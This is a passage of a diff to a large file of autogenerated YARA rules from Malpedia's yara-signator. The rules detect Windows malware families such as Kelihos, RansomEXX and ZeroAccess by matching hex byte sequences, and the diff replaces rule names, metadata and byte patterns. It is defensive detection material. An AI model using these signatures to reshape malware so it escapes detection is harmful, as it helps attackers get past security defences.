+		$sequence_0 = { 8930 8b4510 eb16 395d10 740f }
+		$sequence_1 = { 8d8500fcffff 50 ff35???????? be00020000 ff35???????? }
+		$sequence_2 = { 3bc3 7620 8d4df0 51 50 }
+		$sequence_3 = { 33c0 66898506fcffff 8d8500fcffff 50 ff35???????? be00020000 }
+		$sequence_4 = { 8d0c30 3bcf 7732 3bc3 }
+		$sequence_5 = { 8d85fcfeffff 68???????? 6804010000 50 ff15???????? 83c410 6a10 }
+		$sequence_6 = { 85db 750a 68b90b0000 e8???????? 85ed }
+		$sequence_7 = { 3bc7 750a 68ec030000 e9???????? 8bc8 }
+		$sequence_8 = { 57 8d45e8 50 6a58 56 }
+		$sequence_9 = { ff15???????? 57 8d45f4 50 6a3f 56 c745f40a000000 }
 
 	condition:
-		7 of them and filesize <1368064
+		7 of them and filesize <32768
 }
-rule MALPEDIA_Win_Metadatabin_Auto : FILE
+rule MALPEDIA_Win_Unidentified_070_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "ddd31612-5b1e-5a32-9ee2-3a06fec41c32"
+		id = "7ae3ca74-0486-51ae-ba4c-20ff0ab01fe5"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.metadatabin"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.metadatabin_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_070"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_070_auto.yar#L1-L124"
 		license_url = "N/A"
-		logic_hash = "11b64ee680ef1e61921c6aade590c08f83cd6a9ae0a068d4e02dca568fca78c2"
+		logic_hash = "bd634ade531926df7fb9636e5fb1e66cb3297f9900a01fa2493788383a51b75e"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -167240,32 +174496,32 @@ rule MALPEDIA_Win_Metadatabin_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 89d1 89c6 8b8424d0000000 11d9 0f92c3 f7e7 89c7 }
-		$sequence_1 = { 8bbde8feffff 0f44c8 01fa 39da 0f4cd3 85ff 0f45da }
-		$sequence_2 = { 8b8c2488000000 13442448 897c243c 660f6e4c243c 89f7 8b74245c 83d300 }
-		$sequence_3 = { 8b742414 8b542424 39de 0f841c010000 0f836e010000 0fb7447430 0512230000 }
-		$sequence_4 = { 8b85f8feffff c744240800000000 895c2404 890424 ff95f4feffff c785fcfeffff01000000 8b8568feffff }
-		$sequence_5 = { f7e3 8b5c2470 01c8 89842458010000 0fb6442428 11c2 89d8 }
-		$sequence_6 = { 897c240c 89fa 89c7 b8ffff0700 660f6e8c2420010000 83d700 660f6e5c240c }
-		$sequence_7 = { 8d34c0 89442424 01f6 01d1 8b542408 11fe 8b7c241c }
-		$sequence_8 = { 89d3 89442418 89f8 039c2480010000 83d100 f7642460 01d8 }
-		$sequence_9 = { 660f70d044 660fefe6 f30f6fb42460050000 660fdbe2 660fefdc 660fefa424a0000000 660f6fc1 }
+		$sequence_0 = { 6a04 50 ff15???????? 8945fc 85c0 }
+		$sequence_1 = { 6a00 6a00 6a04 50 ff15???????? 8945fc 85c0 }
+		$sequence_2 = { 33c0 c20400 3b0d???????? 7502 }
+		$sequence_3 = { 6a00 6a04 50 ff15???????? 8945fc }
+		$sequence_4 = { 6a00 6a04 50 ff15???????? 8945fc 85c0 }
+		$sequence_5 = { 6a00 6a00 6a00 6a04 50 ff15???????? 8945fc }
+		$sequence_6 = { 6a00 6a00 6a04 50 ff15???????? 8945fc }
+		$sequence_7 = { 6a00 8d45f4 50 ff75fc 57 56 }
+		$sequence_8 = { 8bf9 c78424cc00000000000000 66c78424d00000000010 e8???????? 83c40c 8d442424 50 }
+		$sequence_9 = { 6a00 56 ff15???????? 8945f8 85c0 0f8493000000 6a00 }
 
 	condition:
-		7 of them and filesize <1263616
+		7 of them and filesize <90112
 }
-rule MALPEDIA_Win_Ironhalo_Auto : FILE
+rule MALPEDIA_Win_Kelihos_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "2d227622-166f-50b3-a1ee-3f19a045e93e"
+		id = "5eeb2760-12b0-5f38-935d-d1f5e018b5d9"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ironhalo"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.ironhalo_auto.yar#L1-L123"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kelihos"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.kelihos_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "ff7e4c197682c2fb1b52bad6a60a31bcbdcc6f7acd7ddda36a5021d06aae5146"
+		logic_hash = "0a57f5287680233f80bcd1391dc843be1b51717107a9ac1743ac21e2bb163525"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -167279,32 +174535,32 @@ rule MALPEDIA_Win_Ironhalo_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 808821cf400008 40 3dff000000 72f1 }
-		$sequence_1 = { 33c0 8d7c245c 53 f3ab 8d4c2460 6a07 51 }
-		$sequence_2 = { 6a00 6a00 50 6a00 66c744246c0000 c744246801010000 }
-		$sequence_3 = { 8d542410 8d442424 52 50 ffd6 }
-		$sequence_4 = { 52 aa e8???????? 8dbc2434020000 }
-		$sequence_5 = { 5d c3 8b4c2404 f7c103000000 7414 8a01 41 }
-		$sequence_6 = { 3b35???????? 0f83c5010000 8bc6 83e61f c1f805 c1e603 8d1c8560e04000 }
-		$sequence_7 = { 8816 46 eb0f 0fb6d2 f68221cf400004 7403 40 }
-		$sequence_8 = { 8d542460 68???????? 52 ffd6 8d442460 68???????? 50 }
-		$sequence_9 = { 75d1 55 ff15???????? 5e 5f }
+		$sequence_0 = { e8???????? 59 59 c644241701 84c0 7505 c644241700 }
+		$sequence_1 = { ff7508 ff75fc ff7508 50 51 ff750c 56 }
+		$sequence_2 = { e8???????? 6a00 6a01 8d4dc0 e8???????? 8a45ef e8???????? }
+		$sequence_3 = { e8???????? b001 e8???????? c20800 6a18 b8???????? e8???????? }
+		$sequence_4 = { e8???????? 83c40c 53 6a01 8d8ddcfdffff e8???????? 53 }
+		$sequence_5 = { e8???????? c645fc02 807dd800 0f84f7000000 8b06 8b4004 03c6 }
+		$sequence_6 = { ff75ac 8d7db8 895da8 e8???????? 83c40c 84c0 0f840b010000 }
+		$sequence_7 = { 8b4d0c 8b5508 6a00 6a10 50 51 52 }
+		$sequence_8 = { c3 6a10 b8???????? e8???????? 8b7d08 33db 53 }
+		$sequence_9 = { e8???????? eb02 33c0 e8???????? c20400 83c1f8 8b01 }
 
 	condition:
-		7 of them and filesize <131072
+		7 of them and filesize <4702208
 }
-rule MALPEDIA_Win_Expiro_Auto : FILE
+rule MALPEDIA_Win_Ransomexx_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "9bf3ea51-503d-5f40-a69a-188866df3f7b"
+		id = "f239143d-e5d1-5c3c-aec9-a76464ab403c"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.expiro"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.expiro_auto.yar#L1-L127"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ransomexx"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.ransomexx_auto.yar#L1-L130"
 		license_url = "N/A"
-		logic_hash = "c555162dc1357feb9808816e071d9b9f76383f5167ecd985c2225c4cf3cc9bed"
+		logic_hash = "3b39ad6bc64b52ed616287d6ece517d9776b1298e49d7060ccab50a0c57b68b4"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -167318,32 +174574,32 @@ rule MALPEDIA_Win_Expiro_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 33c9 6689147e 3bcd 5f 1bc0 5e }
-		$sequence_1 = { 52 e8???????? 83c404 33c0 668944244c 6a04 897c2464 }
-		$sequence_2 = { 0f848f000000 803d????????00 0f8582000000 803d????????00 7579 8d8c24cc010000 }
-		$sequence_3 = { 8b4d00 eb02 8bcd 8d3441 0fb703 }
-		$sequence_4 = { b8???????? 8d4c2414 e8???????? 8d442414 50 8d4c2434 51 }
-		$sequence_5 = { 7373 7373 7353 7373 13ea 02abd9737373 }
-		$sequence_6 = { bf5c000000 52 55 8d5fa5 33c0 897c241c }
-		$sequence_7 = { 0fb74208 f6c303 7409 8d04c5c6234100 eb23 f6c30c }
-		$sequence_8 = { 31733e 45 cf 7160 7373 7308 7373 }
-		$sequence_9 = { 7373 7377 7373 7373 7373 7373 93 }
+		$sequence_0 = { 8bc3 8d75e0 e8???????? 8bf0 85f6 0f85f8020000 eb07 }
+		$sequence_1 = { 6884010000 6a08 c745fc04010000 ffd7 50 ff15???????? 8bf0 }
+		$sequence_2 = { 8b4f08 3bce 7425 8b4704 03c0 03c0 }
+		$sequence_3 = { 8bf8 85ff 752c 8d55f8 c70601000000 6a02 }
+		$sequence_4 = { c1ee0a 33fe 8bf7 8b7dfc 039c3da4feffff 03f3 }
+		$sequence_5 = { c1ee03 33fe 03df 8b7dfc 039c3db8feffff 8bb43d94feffff 03f3 }
+		$sequence_6 = { 837df801 0f8612010000 8b4df8 8b5f04 49 b801000000 d3e0 }
+		$sequence_7 = { 8b55f0 8b4508 8d4dd0 51 52 57 50 }
+		$sequence_8 = { 56 50 e8???????? 8b07 83c40c 8975fc }
+		$sequence_9 = { 39742420 0f862e010000 8d642400 837c242001 7540 837c242400 7539 }
 
 	condition:
-		7 of them and filesize <3776512
+		7 of them and filesize <372736
 }
-rule MALPEDIA_Win_Thunker_Auto : FILE
+rule MALPEDIA_Win_Fct_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "ef50f850-b9ad-5639-a44d-12383e7ab286"
+		id = "2b1f29a9-1362-5741-a18b-c3a100da706f"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.thunker"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.thunker_auto.yar#L1-L123"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fct"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.fct_auto.yar#L1-L127"
 		license_url = "N/A"
-		logic_hash = "9bc1b7f9eb35f46db81209055d59765c3ce32324a39fc618186d9d412df8d09c"
+		logic_hash = "d2be9c8f676646ff8bb82d16a11f73bdaff1325b5ad55ea7931b7cc2d022d940"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -167357,34 +174613,34 @@ rule MALPEDIA_Win_Thunker_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 89c7 50 68???????? 8dbd00feffff 57 e8???????? 83c420 }
-		$sequence_1 = { e8???????? 89c6 83feff 7420 }
-		$sequence_2 = { 8d8500feffff 50 56 e8???????? 89c7 83ffff }
-		$sequence_3 = { e8???????? 83c40c 89c7 e8???????? 8985ecfdffff }
-		$sequence_4 = { d1ea 8995e8fdffff 56 e8???????? 6a08 68???????? 68???????? }
-		$sequence_5 = { 68204e0000 68d3710000 50 e8???????? 6a00 68804f1200 68dd710000 }
-		$sequence_6 = { 83c40c 8d8544edffff 50 e8???????? 8985c4edffff 8b400c }
-		$sequence_7 = { 7433 7c79 3df1710000 7447 }
-		$sequence_8 = { 8d85f0edffff 50 57 e8???????? 83bdf0eeffff05 752e }
-		$sequence_9 = { e8???????? 68???????? e8???????? 83c41c 68???????? 68???????? e8???????? }
+		$sequence_0 = { 83e801 0f8595010000 c745e438324100 e9???????? 894de0 c745e438324100 e9???????? }
+		$sequence_1 = { c3 c705????????80554100 b001 c3 68???????? e8???????? c70424???????? }
+		$sequence_2 = { e9???????? 8b1f 8d049d58634100 8b30 }
+		$sequence_3 = { 8bc6 83e03f 6bc838 894de0 8b049d50614100 f644082801 7469 }
+		$sequence_4 = { 6a04 e8???????? 83bd48fdffff08 8d8d34fdffff 8d45d8 }
+		$sequence_5 = { c70021000000 eb44 c745e002000000 c745e444324100 8b4508 8bcf 8b7510 }
+		$sequence_6 = { 50 8b04bd50614100 ff743018 ff15???????? 85c0 7404 b001 }
+		$sequence_7 = { 56 33f6 8b8650614100 85c0 740e 50 e8???????? }
+		$sequence_8 = { 660fd60f 8d7f08 8b048d84514000 ffe0 f7c703000000 7413 }
+		$sequence_9 = { 68???????? c68524fdffff00 8d4dd8 ffb524fdffff 6a01 e8???????? }
 
 	condition:
-		7 of them and filesize <73728
+		7 of them and filesize <204800
 }
-rule MALPEDIA_Win_Vmzeus_Auto : FILE
+rule MALPEDIA_Win_Retefe_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "6aa23f59-07e5-5545-b355-8ded6d796e51"
+		id = "f3caa6e6-3618-52a1-825b-c9f70c1ac6ab"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.vmzeus"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.vmzeus_auto.yar#L1-L114"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.retefe"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.retefe_auto.yar#L1-L263"
 		license_url = "N/A"
-		logic_hash = "cf57c567165f41d1d66d4120ec9208acf9ea89868aae72faa87074d6a7fc07a0"
+		logic_hash = "60c0df86aaa8e365109479b1ca3f3fca53ccf95fd2fbd33ae20876e0704e51b2"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -167396,32 +174652,51 @@ rule MALPEDIA_Win_Vmzeus_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e9???????? 32c0 6a4c 8d7c242c 59 f3aa }
-		$sequence_1 = { 32c0 6a4c 8d7c242c 59 f3aa }
-		$sequence_2 = { 6a04 58 e9???????? 32c0 6a4c 8d7c242c 59 }
-		$sequence_3 = { 6a10 32c0 59 8bfb }
-		$sequence_4 = { f3a4 b001 eb02 32c0 5f 5e }
-		$sequence_5 = { 32c0 6a4c 8d7c242c 59 }
-		$sequence_6 = { 6a10 32c0 59 8bfb f3aa }
-		$sequence_7 = { 58 e9???????? 32c0 6a4c }
-		$sequence_8 = { f3a4 b001 eb02 32c0 5f }
-		$sequence_9 = { e9???????? 32c0 6a4c 8d7c242c }
+		$sequence_0 = { 6a00 6a01 ff15???????? 8bf0 85f6 7410 6a09 }
+		$sequence_1 = { 51 8bf8 ffd6 85c0 }
+		$sequence_2 = { 68f5000000 50 ff15???????? b801000000 }
+		$sequence_3 = { e8???????? 6a08 e8???????? 894604 }
+		$sequence_4 = { 6a24 6a5a 6a24 e8???????? 81c494000000 }
+		$sequence_5 = { 8b4e04 8901 8b4e04 33c0 83c404 394104 }
+		$sequence_6 = { 6a0e 6aeb 6a1a 6a96 6a0d }
+		$sequence_7 = { 894604 83c404 8bc6 e8???????? }
+		$sequence_8 = { 51 ff15???????? 8b95d8efffff 50 52 ff15???????? 50 }
+		$sequence_9 = { 52 e8???????? 8b4e04 8901 }
+		$sequence_10 = { 6ad1 6a1a 6a55 6ad7 6ad1 }
+		$sequence_11 = { 880c10 8b4e04 40 3b4104 }
+		$sequence_12 = { 50 e8???????? 83c408 e8???????? 99 b960f59000 }
+		$sequence_13 = { 8bec 837d0c00 7409 b80b000280 }
+		$sequence_14 = { 56 33f6 8b86a0bf4200 85c0 740e }
+		$sequence_15 = { 43 85ff 0f851fffffff 5f }
+		$sequence_16 = { 6a00 ffb42424200000 e8???????? 8b8c2418200000 }
+		$sequence_17 = { 8b0495a0bf4200 f644082801 7421 57 e8???????? }
+		$sequence_18 = { 46 85f6 7410 83fe01 75a0 }
+		$sequence_19 = { 0fb611 0fb6c0 eb17 81fa00010000 7313 8a87ccb14200 }
+		$sequence_20 = { 8b742414 85f6 7553 32c0 }
+		$sequence_21 = { 57 81fb00020000 0f8daa000000 6800080000 }
+		$sequence_22 = { 8b4218 a3???????? 8b4a08 890d???????? 8b420c }
+		$sequence_23 = { 33c0 668906 8b7c2414 8d5f20 }
+		$sequence_24 = { e8???????? 8b404c 83b8a800000000 7512 8b04bda0bf4200 807c302900 7504 }
+		$sequence_25 = { 88048d93404300 88048d923c4300 84d2 7412 }
+		$sequence_26 = { 8b7004 8b38 4e 8bce e8???????? }
+		$sequence_27 = { 8b4d08 85c9 7512 e8???????? 5e }
+		$sequence_28 = { 5f 894df0 8b34cd58224100 8b4d08 6a5a 2bce }
 
 	condition:
-		7 of them and filesize <475136
+		7 of them and filesize <843776
 }
-rule MALPEDIA_Win_Koobface_Auto : FILE
+rule MALPEDIA_Win_Skip20_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "1ce15537-cef6-5c0e-a9d8-b5edfbbc6020"
+		id = "82237026-0542-5063-b5ce-819de193cfa5"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.koobface"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.koobface_auto.yar#L1-L128"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.skip20"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.skip20_auto.yar#L1-L127"
 		license_url = "N/A"
-		logic_hash = "b6b79af3be74d0a2238bfa51c4162b8333d68f5a5fb85b02563c06855a5cb17a"
+		logic_hash = "21de0ff5fbd1c6f42d6edbb2c240ff9a5cc9d69d730f1c14e8fabd969797a013"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -167435,32 +174710,32 @@ rule MALPEDIA_Win_Koobface_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8d850cffffff 50 c745fc26000000 e8???????? 834dfcff 53 }
-		$sequence_1 = { e8???????? 33db 59 889dfaf7ffff 889dfbf7ffff 899decf7ffff 899de0f7ffff }
-		$sequence_2 = { 83bd34c1ffff0a 754c 8d8540c1ffff 6a41 50 }
-		$sequence_3 = { 50 c745cc5cd74100 e8???????? 8b7508 bf63736de0 393e 0f85a5010000 }
-		$sequence_4 = { e8???????? 50 8d8538f4ffff 50 e8???????? 8b8520f4ffff 59 }
-		$sequence_5 = { e8???????? 8b8598faffff c1e803 50 8d85a4faffff 57 50 }
-		$sequence_6 = { 8d8528ffffff 68???????? 50 e8???????? 83c40c 8d8528ffffff 50 }
-		$sequence_7 = { 8d8528ffffff 50 e8???????? 68???????? 8d850857ffff }
-		$sequence_8 = { 8d4de4 51 53 ff90e0000000 837de404 7407 }
-		$sequence_9 = { 68???????? e8???????? 59 57 e8???????? 59 8b4dfc }
+		$sequence_0 = { 85c9 7448 ffc9 7432 ffc9 0f85150a0000 }
+		$sequence_1 = { 782e 3b0d???????? 7326 4863c9 488d1504fe0400 488bc1 }
+		$sequence_2 = { 0fb74c247a 0fb7542478 89442438 894c2430 89542428 488d15e62f0100 }
+		$sequence_3 = { 741c 3d00010000 740e 3d00020000 7536 4180493347 eb2f }
+		$sequence_4 = { e9???????? 4883bc24e000000000 7409 83fa01 0f842cf9ffff 83fa05 }
+		$sequence_5 = { 488db424ec000000 0f1f00 413bfc 732a 448b06 8bd7 }
+		$sequence_6 = { 418bb482a08a0100 eb07 4c8d15b4b2ffff 8bd6 81e200004000 747e 41ff4c2418 }
+		$sequence_7 = { 488d3d071f0500 ba58000000 488bcd e8???????? 4885c0 7468 }
+		$sequence_8 = { 89542428 488d15652f0100 440fb7442470 440fb74c2472 440fb7542476 4489542420 488d0db72f0100 }
+		$sequence_9 = { 89442438 0fb74c247a 894c2430 0fb7542478 89542428 488d15ae290100 }
 
 	condition:
-		7 of them and filesize <368640
+		7 of them and filesize <794624
 }
-rule MALPEDIA_Win_Netwire_Auto : FILE
+rule MALPEDIA_Win_Acronym_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "7e349eff-bed6-58da-b13d-023150840eee"
+		id = "3a02b0db-7dab-59f7-8844-7d3e20bbfec7"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.netwire"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.netwire_auto.yar#L1-L114"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.acronym"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.acronym_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "d56dccb0a24c96c7c7e1e50a683192f0a074d28ee0f4b72f3b3f8446384ae89a"
+		logic_hash = "f0c8874a39c6e7d48d0efb9f6335d89bb8e6f6e657bab8b7e1fc238f6642ecb8"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -167474,32 +174749,32 @@ rule MALPEDIA_Win_Netwire_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { c7042449000000 e8???????? c7042446000000 e8???????? c7042400000000 e8???????? }
-		$sequence_1 = { c7042401000080 e8???????? c7042410000000 e8???????? }
-		$sequence_2 = { c744240c00000000 c744240800000000 c744240400000000 c7042408000000 e8???????? 83ec14 }
-		$sequence_3 = { 740c c7042400000000 e8???????? c70424???????? e8???????? }
-		$sequence_4 = { e8???????? a3???????? c7042440000000 e8???????? }
-		$sequence_5 = { c70424d0070000 e8???????? e9???????? e8???????? }
-		$sequence_6 = { c744241000000000 c744240c00000000 c744240800000000 c744240400000000 c7042408000000 e8???????? 83ec14 }
-		$sequence_7 = { c744242c00000000 c744242800000000 c744242400000000 c7442420fdffffff c744241c00000000 c744241800000000 }
-		$sequence_8 = { c7042400000000 e8???????? c70424???????? e8???????? }
-		$sequence_9 = { e8???????? eb11 c7042496000000 e8???????? }
+		$sequence_0 = { 89550c 8b4510 034508 8a08 884dff 8b5510 03550c }
+		$sequence_1 = { 8b55e8 8a45f4 88040a ebac 33c9 75fc 8be5 }
+		$sequence_2 = { 50 ff15???????? 8945f8 8b4dfc 8b5110 52 8b45fc }
+		$sequence_3 = { e8???????? 8bc8 e8???????? 0fb6d0 85d2 0f85d4000000 8b450c }
+		$sequence_4 = { c745fc00000000 eb09 8b45fc 83c001 8945fc 8b4df4 83c104 }
+		$sequence_5 = { 6a00 6a00 ff15???????? b901000000 85c9 0f84fd000000 c745f000000000 }
+		$sequence_6 = { 2b55bc 8955b8 8b45b8 8945cc 33c9 75fc 8b55dc }
+		$sequence_7 = { 8b0c90 83c101 8b55f4 8b45f0 0fb754505e 8b45ec 69c008040000 }
+		$sequence_8 = { 8b4508 50 e8???????? 83c410 ebaa 8b45c4 69c0c51d0000 }
+		$sequence_9 = { 69d208040000 8b7508 8d941660b10000 89048a 8b45f4 8b4df0 0fb754411c }
 
 	condition:
-		7 of them and filesize <416768
+		7 of them and filesize <466944
 }
-rule MALPEDIA_Win_Byeby_Auto : FILE
+rule MALPEDIA_Win_Zeroaccess_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "74fc8a87-5c7b-524e-8e78-621f0d855f26"
+		id = "dc18e525-3177-5057-b2b8-44deb0459882"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.byeby"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.byeby_auto.yar#L1-L122"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zeroaccess"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.zeroaccess_auto.yar#L1-L151"
 		license_url = "N/A"
-		logic_hash = "ea138eeca75e1ffbb323be9c4364fb51ef613b1a9fd77855f97073778ad7174f"
+		logic_hash = "4423d17d4505fc4e1d7ad61f77b371f17ded461805f238fd1e8f686647ad897a"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -167513,32 +174788,37 @@ rule MALPEDIA_Win_Byeby_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e8???????? 68???????? 8d45f0 c745f0f4320110 }
-		$sequence_1 = { e8???????? 8b7df0 83c40c 037e74 c7467400000000 eb03 }
-		$sequence_2 = { 8bf0 53 ff742430 6a00 6a00 }
-		$sequence_3 = { 50 8b8528e5ffff 0f94c1 898d3ce5ffff 8b8d24e5ffff 8b048518ab0110 ff3401 }
-		$sequence_4 = { 8b8528e5ffff 8b048518ab0110 ff3401 ff15???????? 8bb540e5ffff 8bbd34e5ffff 85c0 }
-		$sequence_5 = { 8d84245c020000 50 c78424600200005630564d c78424640200005130394e ffd7 40 50 }
-		$sequence_6 = { 8b35???????? 8d442410 50 ff35???????? }
-		$sequence_7 = { 7309 8b04c5e84e0110 5d c3 33c0 }
-		$sequence_8 = { 0f8641010000 8b4c2420 83c714 8bff 837ff005 0f85fa000000 0fb707 }
-		$sequence_9 = { 3b0cc510900110 7427 40 83f82d 72f1 8d41ed }
+		$sequence_0 = { ff15???????? 85c0 7408 ff15???????? eb02 }
+		$sequence_1 = { 56 56 6a20 6a05 }
+		$sequence_2 = { bf03000040 eb05 bf010000c0 85ff }
+		$sequence_3 = { 6a01 8d45f4 50 ff7308 ff15???????? 85c0 }
+		$sequence_4 = { 6a04 68???????? 6a10 68???????? 68060000c8 ff7708 ff15???????? }
+		$sequence_5 = { ff15???????? 85c0 7407 b8e3030000 }
+		$sequence_6 = { 56 6a10 8945e8 8d45e4 }
+		$sequence_7 = { e8???????? 50 6819000200 8d45f8 }
+		$sequence_8 = { 3bc1 7604 83c8ff c3 }
+		$sequence_9 = { 50 68???????? 6889001200 8d45fc }
+		$sequence_10 = { 56 8d45f8 50 ff15???????? 6a01 8d45f8 50 }
+		$sequence_11 = { 33c0 48 83c9ff c744242804000000 48 }
+		$sequence_12 = { 85db 741f 8b4304 49 }
+		$sequence_13 = { 7615 83780815 750f c705????????01000000 }
+		$sequence_14 = { 48 83ec20 41 8bf9 48 8bd9 }
 
 	condition:
-		7 of them and filesize <253952
+		7 of them and filesize <172032
 }
-rule MALPEDIA_Win_Bredolab_Auto : FILE
+rule MALPEDIA_Win_Graphite_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "0b33903d-ad64-555d-936e-aab5345d2509"
+		id = "22d6771d-6e02-5bad-92aa-7abf2f0540bc"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bredolab"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.bredolab_auto.yar#L1-L120"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.graphite"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.graphite_auto.yar#L1-L109"
 		license_url = "N/A"
-		logic_hash = "adde67d05e7a2d047afa70901aa11c567b41ad799d4fe97c3d9648b79067c4f5"
+		logic_hash = "fac8314c02add0a1a3fcfc7bc6cd359f12eb58a8246911250bf475b51a803e3f"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -167552,32 +174832,32 @@ rule MALPEDIA_Win_Bredolab_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b4518 89442410 8b4514 8944240c c744240800000000 }
-		$sequence_1 = { baffe8a435 89d1 31d2 f7f1 81c200e1f505 89542408 c7442404???????? }
-		$sequence_2 = { 0f85e8000000 ba???????? 90 31c0 6690 8a8800500010 300c02 }
-		$sequence_3 = { 57 56 53 b86c140000 }
-		$sequence_4 = { f2ae f7d1 8d41ff 81c40c090000 }
-		$sequence_5 = { 8b8318120000 85c0 0f8e88000000 c783381200000c000000 }
-		$sequence_6 = { 0f85c5000000 8b9560feffff 8b02 3b45dc 7437 }
-		$sequence_7 = { 5e 5f c9 c3 8db526ffffff b910000000 }
